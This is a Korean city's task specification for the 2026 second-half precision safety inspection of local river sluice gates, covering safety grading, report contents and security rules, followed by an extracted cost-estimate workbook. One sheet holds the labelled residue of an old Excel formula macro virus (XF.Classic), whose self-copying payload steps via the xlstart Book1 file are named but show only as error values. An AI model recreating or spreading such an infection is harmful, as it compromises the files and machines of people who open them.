(5) 제방의 외관조사망도는 개별부재에 대하여 작성하는 것을 원칙으로 하고 필요시 개별부재의 크기, 면적에 따라 분할하여 작성한다.
(6) 수리검토 : 아래사항은 반드시 수자원기술사가 검토하여야 한다.
(가) 하천기본계획상의 홍수위 및 관리수위(평수위)와 배수통문의 현재 표고(E.L.)등을 비교 검토하여 시설물 기능상의 이상 유무를 검토한다.
(나) 관리수위 변화에 따른 구조물주위의 제체 안정성을 검토한다.
(7) 기타 자세한 사항은 안전점검 및 정밀안전진단 세부지침에 의거 시행한다.
바. 종합평가 및 안전등급지정 (1) 종합평가
(가) 시설물의 종합평가는 구조물 부재의 결함 및 손상에 대하여 평가기준 및 상태평가 기법에 따라 수행한 상태평가 결과와 시설물의 안전성평가 결과를 고려하여 개별시설물의 종합평가 결과를 결정한다.
(나) 수문의 각 개별시설물, 복합시설물, 통합시설물 그리고 종합시설물에 대한 종합평가는 상태평가만 실시하거나 또는 상태평가와 안전성평가를 각각 실시한 후 이들 결과를 기초로 종합하여 실시한다, 즉 상태평가만 실시하는 경우에는 상태평가결과를 종합평가 결과로 가름하여 상태평가 결과가 종합평가 결과로 결정되지만 상태평가와 안전성평가가 동시에 실시한 경우에는 상태평가 결과와 안전성평가 결과를 비교 검토하여 최종적인 종합평가 결과를 부여한다.
(2) 안전등급지정
- 상태평가 및 안전성평가 등을 종합적으로 평가하여 시설물안전관리에 관한 특별법 제16조 및 시행령 제12조 별표 8에 따라서 당해시설물의 안전등급을 지정하여야 한다.
안전등급
시설물의 상태
A (우수)
문제점이 없는 최상의 상태
B (양호)
보조부재에 경미한 결함이 발생하였으나, 기능 발휘에는 지장이 없으며, 내구성 증진을 위하여 일부의 보수가 필요한 상태
C (보통)
주요부재에 경미한 결함 또는 보조부재에 광범위한 결함이 발생하였으나, 전체적인 시설물의 안전에는 지장이 없으며, 주요부재에 내구성, 기능성 저하 방지를 위한 보수가 필요하거나 보조부재에 간단한 보강이 필요한 상태
D (미흡)
주요부재에 결함이 발생하여 긴급한 보수 ․ 보강이 필요하며, 사용제한 여부를 결정하여야 하는 상태
E (불량)
주요부재에 발생한 심각한 결함으로 인하여 시설물의 안전에 위험이 있어 즉
각 사용금지하고 보강 또는 개축을 하여야 하는 상태
사. 보수․보강공법 제시
(1) 구조물의 파손 부위별 및 원인별로 적합한 보수공법을 선정한다.
(2) 각 보수공법별 보수우선순위를 선정한다.
아. 보고서 작성(CAD 도면 작성 등 보고서 작성)
- 정밀점검보고서는 아래사항을 종합하여 작성하여야 하며, 이에 포함될 사항은 『시설물의 안전 및 유지관리 실시등에 관한 지침』에 의거 작성하고 아래와 같은 사항을 포함한다.
(1) 요약서
(2) 위치도
(3) 서론
(4) 정밀안전점검의 개요
(5) 시설물의 상태 평가
(6) 안전성 평가 및 종합평가
(7) 보수․보강 공법제시
<hp:fwSpace/>(8) 결론 및 건의 사항
(9) 부 록(육안검사 사진, 외관조사망도, 측정 및 시험 성과표, 기타 참고자료)
자. 기타사항
- 시특법 제17조, 시행령 제13조의 규정에 의거 시설물의 점검 및 진단이 완료된 후로부터 30일 이내에 점검, 진단 결과를 시설물정보관리종합시스템(FMS)에 입력한다.
Ⅳ. 보 안 대 책
- 본 용역설계의 설계도서 및 제반자료에 대하여는 보안 관리에 철저를 기하여야 하며 다음과 같이 보안 대책을 이행하여야 한다.
1. 용역회사 대표자는 용역 착수 시 우리시가 제시하는 서식에 의한 보안각서를 제출하여야 하며, 용역참여자에 대한 보안각서는 회사 대표자 책임 하에 제출하여야 한다.
2. 용역과업 사무실을 제한구역으로 지정하고 외부인의 출입을 통제하여야 한다.
3. 자료보관함은 별도로 비치하되 비밀, 대외비, 일반자료 보관함으로 구분하고 정부 책임자를 지정하여 관리하여야 한다. 단, 비밀이 아닌 용역의 경우에는 비밀보관함을 비치하지 않을 수 있다.
4. 비밀 또는 대외비로 분류된 성과품을 발간하고자 할 때는 정부비밀 취급인가업체를 이용하여야 하며 본 과업 지시서에 명시한 부수만 인쇄하는 것은 물론 우리시의 비밀 취급인가자의 입회하에 행하여야 한다.
5. 용역의 참여자가 교체될 시는 감독관의 승인을 득한 후 인수인계를 철저히 하고 감독관의 확인을 받아야 한다.
6. 기타 용역의 특수성 등으로 인하여 용역과업 수행 상 별도의 보안관리 등을 요하는 사항이 시달될 경우는 이를 준수하여야 한다.
7. 용역업체는 용역물의 보안 관리에 철저를 기하기 위하여 용역설계 전후를 막론하고 다음사항을 준수하여야 하며 용역 계약 시 이를 준수하겠다는 각서를 제출하여야 한다.
가. 용역설계 참여자 명단 제출.
나. 본 용역설계도서에 의한 기록 및 인지사항을 누설하지 않겠다는 각서.
다. 본 용역설계서 작성 기간중 출입자 통제.
라. 용역 자료 등의 방치를 금할 것이며 본 용역수행에 관련된 모든 자료는 견고한 용기에 보관하고 보안관리 책임자가 직접 관리하여야 하며 지정된 용기 외 보관은 금한다.
마. 불필요한 원고 및 자료는 필히 감독 입회하에 소각 조치할 것.
8. 기타사항에 대하여는 보안업무 규정을 준수하고 감독관의 지시를 받는다.
Ⅴ. 기 타 사 항
1. 본 점검 이전의 기존자료는 최대한 활용할 수 있다.
2. 용역 최종 보고서에는 참여자별 성명, 주민등록 번호, 담당분야 및 참여기간, 소지자격증 종류 등을 상세히 기록하여 추후 부실 용역 부분이 있을 경우 책임자를 분명히 파악할 수 있도록 기록하여야 한다.
3. 설계도면에는 개별 낱장마다 책임기술자가 서명을 하여야 한다.
4. 용역준공 전 중간보고 후 지적사항에 대하여는 준공 전 반드시 보완하여 시설물정보관리시스템(FMS)에 입력한다.
- 기존 정밀안전점검 및 결과를 반영하여 정비한 사업에 대하여 발주청에 자료를 받아 시설물정보관리시스템에 입력을 포함한다.
5. 보고서는 하반기 정밀안전점검 보고서 각 1회(5부)씩 총 1회 제출한다.
종 류
제출시기
내 용
부 수
정밀안전점검 보고서
준공일 1회
- 요약보고서, 중간보고서
(본 보고서에 포함하여 제본)
- 정밀안전점검 최종보고서
- 현장측정자료
(본 보고서 또는 부록에 포함)
- 보수.보강 계획서
(본 보고서에 수량,단가,시방서 포함)
- 관계기록 사진첩
(본 보고서에 수량,단가,시방서 포함)
각 5부
각 5부
각 5부
각 5부
각 5부
E-보고서(USB)
준공일 1회
- 정밀안전점검 결과 기록
각 1부
===== 2026년 지방하천 수문통문 정밀안전점검(하반기)(공내역서).xlsx =====
[시트: 총괄내역서]
A: 총 괄 내 역 서
A: #REF!
A: 공종명 B: 수량 C: 단위 D: 재료비 F: 노무비 H: 경비 J: 합계 L: 비고
D: 단가 E: 금액 F: 단가 G: 금액 H: 단가 I: 금액 J: 단가 K: 금액
A: 1.직접인건비 B: 1 C: 식 E: 0
A: 2.제경비 B: 1 C: 식 E: 0
A: 3.기술료 B: 1 C: 식 E: 0
A: 4.직접경비 B: 1 C: 식 E: 0
A:
순용역비
A: 5.손해보험료 B: #REF! C: % E: 0
A: 6.조정
A: 공급가액 N: 0
A: 7.부가가치세 N: 0
A: 용역비
[시트: 정밀안전점검 내역서]
A: 내
역
서
A: #REF!
A: 공종명 B: 규격 C: 수량 D: 단위 E: 재료비 G: 노무비 I: 경비 K: 합계 M: 비고
E: 단가 F: 금액 G: 단가 H: 금액 I: 단가 J: 금액 K: 단가 L: 금액
A: 1. 직접인건비
A: 하반기 정기안전점검
A: 외업 B: 고급기술자 C: #REF! D: 인
A: 내업 B: 고급기술자 C: #REF! D: 인
A: 소
계
A: 직접인건비 합계
A: 2. 제경비
A: 제경비 B: 직접인건비의 110% 적용 C: 110 D: %
A: 소
계
A: 3. 기술료
A: 기술료 B: (직접인건비+제경비)의 20% 적용 C: 20 D: %
A: 소
계
A: 4. 직접경비
A: 4-1-1. 차량운행비 B: 승용차 1,600cc C: #REF! D: 일 F: #REF!
A: 4-1-2. 현지보조인부 B: 특별인부 D: 인 F: 0
A: 4-1-3. 위험수당 B: 외업인건비의 10%적용 C: 10 D: % F: 0
A: 4-1-4. 기계기구손료 B: 직접인건비의 5%적용 C: 5 D: % F: 0
A: 4-1-5. 보고서인쇄비 B: 정기1회 C: 2 D: 식
A: 소
계
A: 5. 선택과업비용
A: 소
계 F: #REF!
A: 합
계 F: 0
A: 조
정
A: 용역비
[시트: VXXXXXXX]
A: 용역비산출내역서(기술심사).xls C: FALSE
A: Book1
A: C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\xlstart\Book1. C: **Auto and On Sheet Starts Here**
A: 3 C: FALSE
C: #NAME?
C: FALSE
A: Classic.Poppy by VicodinES C: #NAME?
A: With Lord Natas C: #NAME?
A: An Excel Formula Macro Virus (XF.Classic) C: #NAME?
A: Hydrocodone/APAP 10-650 For Your Computer C: FALSE
A: (C) The Narkotic Network 1998 C: FALSE
C: FALSE
C: FALSE
A: **Simple Payload** C: #NAME?
A: FALSE
A: FALSE
A: #NAME? C: **Set Our Values and Paths**
C: #NAME?
C: #NAME?
A: **Add New Workbook, Infect It, Save It As Book1.xls** C: #NAME?
A: #NAME? C: #NAME?
A: #NAME? C: #NAME?
A: FALSE C: #NAME?
A: #NAME?
A: #NAME?
A: FALSE C: **Infect Workbook**
A: FALSE C: FALSE
A: FALSE C: #NAME?
A: FALSE C: FALSE
A: FALSE C: #NAME?
A: FALSE C: #NAME?
A: FALSE C: FALSE
A: FALSE C: FALSE
A: FALSE C: FALSE
A: FALSE C: #NAME?
A: FALSE C: #NAME?
A: FALSE
A: FALSE
A: FALSE C: #NAME?
A: FALSE C: FALSE
A: #NAME? C: #NAME?
[시트: 일위대가]
A: 일 위 대 가 표
A: 공종명 B: 규격 C: 수량 D: 단위 E: 재료비 G: 노무비 I: 경비 K: 합계 M: 비고
E: 단가 F: 금액 G: 단가 H: 금액 I: 단가 J: 금액 K: 단가 L: 금액
A: 제1호표 차량운행비(1일당)
A: 1일 손료 B: 승용차 1,600cc C: 0.0001547 D: 일
A: 주연료 B: 휘발유 C: 10 D: ℓ/일
A: 잡품 B: 주연료비의 10% C: 0.1 D: 식
A: 계
A: 제2호표 구조해석
A: 직접인건비 D: 인
A: 제경비(직접인건비×110%) C: 1.1
A: 기술료((직접인건비+제경비)×20%) C: 0.2
A: 계
[시트: 예정공정]
A: 예
정
공
정
표
A: 구
분 B: 공 정 계 획(일) H: 비고
B: 5 C: 10 D: 15 E: 20 F: 25 G: 30
A: 1. 자료수집 및 진단계획수립
A: 2. 외관조사
A: 3. 내구성조사
A: 4. 상태평가
A: 5. 종합평가 및 안전등급
A: 6. 보수·보강 및 유지관리방안
A: 7. 최종보고서 작성 및 납품